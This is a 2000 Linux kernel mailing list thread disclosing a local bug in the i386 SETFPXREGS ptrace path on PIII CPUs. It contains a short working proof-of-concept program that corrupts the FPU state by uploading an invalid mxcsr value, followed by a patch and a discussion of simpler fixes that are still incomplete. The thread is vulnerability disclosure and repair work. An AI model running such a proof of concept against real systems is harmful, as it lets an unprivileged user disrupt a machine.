While auditing the PIII-4 patch for 2.2.x I found a local security problem in
SETFPXREGS that affects 2.4.0-test10 too when it's compiled for PIII
processors and run on a PIII CPU. The problem is that any user can break the
FPU by uploading into the kernel a not valid mxcsr value.
I verified with this proggy:
struct user_fxsr_struct {
unsigned short cwd;
unsigned short swd;
unsigned short twd;
unsigned short fop;
long fip;
long fcs;
long foo;
long fos;
long mxcsr;
long reserved;
long st_space[32]; /* 8*16 bytes for each FP-reg = 128 bytes */
long xmm_space[32]; /* 8*16 bytes for each XMM-reg = 128 bytes */
long padding[56];
};
main()
{
struct user_fxsr_struct fxsr;
int pid = fork();
if (pid < 0)
perror("fork"), exit(1);
else if (!pid) {
for (;;)
__asm__("fninit");
}
if (ptrace(0x10, pid, 0, 0) < 0)
perror("attach"), exit(1);
memset(&fxsr, 0xff, sizeof(struct user_fxsr_struct));
waitpid(pid, 0, 0);
if (ptrace(19, pid, 0, &fxsr))
perror("setfxsr"), exit(1);
if (ptrace(0x11, pid, 0, 17) < 0)
perror("detach"), exit(1);
}
This is the fix against 2.4.0-test10, please include.
--- 2.4.0-test10/arch/i386/kernel/i387.c Thu Nov 2 20:58:58 2000
+++ PIII/arch/i386/kernel/i387.c Thu Nov 2 18:44:36 2000
@@ -440,8 +436,25 @@
int set_fpxregs( struct task_struct *tsk, struct user_fxsr_struct *buf )
{
if ( HAVE_FXSR ) {
- __copy_from_user( &tsk->thread.i387.fxsave, (void *)buf,
- sizeof(struct user_fxsr_struct) );
+ long mxcsr;
+
+ if (__copy_from_user(&tsk->thread.i387.fxsave, (void *)buf,
+ (long) &((struct user_fxsr_struct *)
+ 0)->mxcsr))
+ return -EFAULT;
+ if (__get_user(mxcsr,
+ &((struct user_fxsr_struct *) buf)->mxcsr))
+ return -EFAULT;
+ /* bit 6 and 31-16 must be zero for security reasons */
+ mxcsr &= 0xffbf;
+ tsk->thread.i387.fxsave.mxcsr = mxcsr;
+ if (__copy_from_user(&tsk->thread.i387.fxsave.reserved,
+ &((struct user_fxsr_struct *)
+ buf)->reserved,
+ sizeof(struct user_fxsr_struct)-
+ (long) &((struct user_fxsr_struct *)
+ 0)->reserved))
+ return -EFAULT;
return 0;
} else {
return -EIO;
Downloadable also from here:
ftp://ftp.us.kernel.org/pub/linux/kernel/people/andrea/patches/v2.4/2.4.0-test10/SETFPXREGS-fix-1
Users of 2.2.18pre17aa1 running their kernel on a PIII cpu are affected as well.
Workaround is to boot with the `nofxsr' parameter (with the downside that
PIII instructions to be inibithed like in vanilla 2.2.x), real fix is to
backout the PIII-4 patch from 2.2.18pre17aa1 and apply this new one:
ftp://ftp.us.kernel.org/pub/linux/kernel/people/andrea/patches/v2.2/2.2.18pre19/PIII-5.bz2
PIII-5 also merges some worthwhile diff from Doug, thanks!
Andrea
Andrea Arcangeli wrote:
>
> --- 2.4.0-test10/arch/i386/kernel/i387.c Thu Nov 2 20:58:58 2000
> +++ PIII/arch/i386/kernel/i387.c Thu Nov 2 18:44:36 2000
> @@ -440,8 +436,25 @@
> int set_fpxregs( struct task_struct *tsk, struct user_fxsr_struct *buf )
> {
> if ( HAVE_FXSR ) {
> - __copy_from_user( &tsk->thread.i387.fxsave, (void *)buf,
> - sizeof(struct user_fxsr_struct) );
> + long mxcsr;
> +
> + if (__copy_from_user(&tsk->thread.i387.fxsave, (void *)buf,
> + (long) &((struct user_fxsr_struct *)
> + 0)->mxcsr))
> + return -EFAULT;
> + if (__get_user(mxcsr,
> + &((struct user_fxsr_struct *) buf)->mxcsr))
> + return -EFAULT;
> + /* bit 6 and 31-16 must be zero for security reasons */
> + mxcsr &= 0xffbf;
> + tsk->thread.i387.fxsave.mxcsr = mxcsr;
> + if (__copy_from_user(&tsk->thread.i387.fxsave.reserved,
> + &((struct user_fxsr_struct *)
> + buf)->reserved,
> + sizeof(struct user_fxsr_struct)-
> + (long) &((struct user_fxsr_struct *)
> + 0)->reserved))
> + return -EFAULT;
> return 0;
> } else {
> return -EIO;
Why do all three copies? Why not copy it once and mask out the mxcsr
value when it's in tsk->thread.i387.fxsave.mxcsr? Seems to be an overly
complex fix.
if ( HAVE_FXSR ) {
if ( __copy_from_user( &tsk->thread.i387.fxsave, (void *)buf,
sizeof(struct user_fxsr_struct) ) )
return -EFAULT;
/* bit 6 and 31-16 must be zero for security reasons */
tsk->thread.i387.fxsave.mxcsr &= 0x0000ffbf;
return 0;
}
-- Gareth
On Sat, Nov 04, 2000 at 10:50:00AM +1100, Gareth Hughes wrote:
> if ( HAVE_FXSR ) {
> if ( __copy_from_user( &tsk->thread.i387.fxsave, (void *)buf,
> sizeof(struct user_fxsr_struct) ) )
> return -EFAULT;
> /* bit 6 and 31-16 must be zero for security reasons */
> tsk->thread.i387.fxsave.mxcsr &= 0x0000ffbf;
> return 0;
> }
The above doesn't fix the security problem. Put the last byte of the userspace
structure on an unmapped page and it will return -EFAULT lefting the invalid
mxcsr value that will corrupt the FPU again.
The right version of the above is just in linux mailbox.
The reason I did it more complex at first is because I wanted to go safe,
I wasn't sure if somebody could SIGCONT the traced task while we was copying
the data so introducing a race where it was still possible to exploit
the bug; but as Linus pointed out to me the loop in do_signal prevents that, so
we can do only one large copy and then fixup (fixing up also in the -EFAULT
case of course).
Andrea
Andrea Arcangeli wrote:
>
> On Sat, Nov 04, 2000 at 10:50:00AM +1100, Gareth Hughes wrote:
> > if ( HAVE_FXSR ) {
> > if ( __copy_from_user( &tsk->thread.i387.fxsave, (void *)buf,
> > sizeof(struct user_fxsr_struct) ) )
> > return -EFAULT;
> > /* bit 6 and 31-16 must be zero for security reasons */
> > tsk->thread.i387.fxsave.mxcsr &= 0x0000ffbf;
> > return 0;
> > }
>
> The above doesn't fix the security problem. Put the last byte of the userspace
> structure on an unmapped page and it will return -EFAULT lefting the invalid
> mxcsr value that will corrupt the FPU again.
>
> The right version of the above is just in linux mailbox.
>
> The reason I did it more complex at first is because I wanted to go safe,
> I wasn't sure if somebody could SIGCONT the traced task while we was copying
> the data so introducing a race where it was still possible to exploit
> the bug; but as Linus pointed out to me the loop in do_signal prevents that, so
> we can do only one large copy and then fixup (fixing up also in the -EFAULT
> case of course).
Yes, we can certainly mask out the mxcsr value in both cases. I just
think this makes the code a lot simpler and cleaner as a result - three
partial copies seems over the top.
-- Gareth
On Sat, Nov 04, 2000 at 12:13:33PM +1100, Gareth Hughes wrote:
> Yes, we can certainly mask out the mxcsr value in both cases. I just
^^^
s/can/must/
> think this makes the code a lot simpler and cleaner as a result - three
I agree about the three vs one copy issue. Anyways my first priority was that
the the code was safe, and the previous one was completly safe too (ok, I admit
I had to check out the asm generated before trusting it 8).
Andrea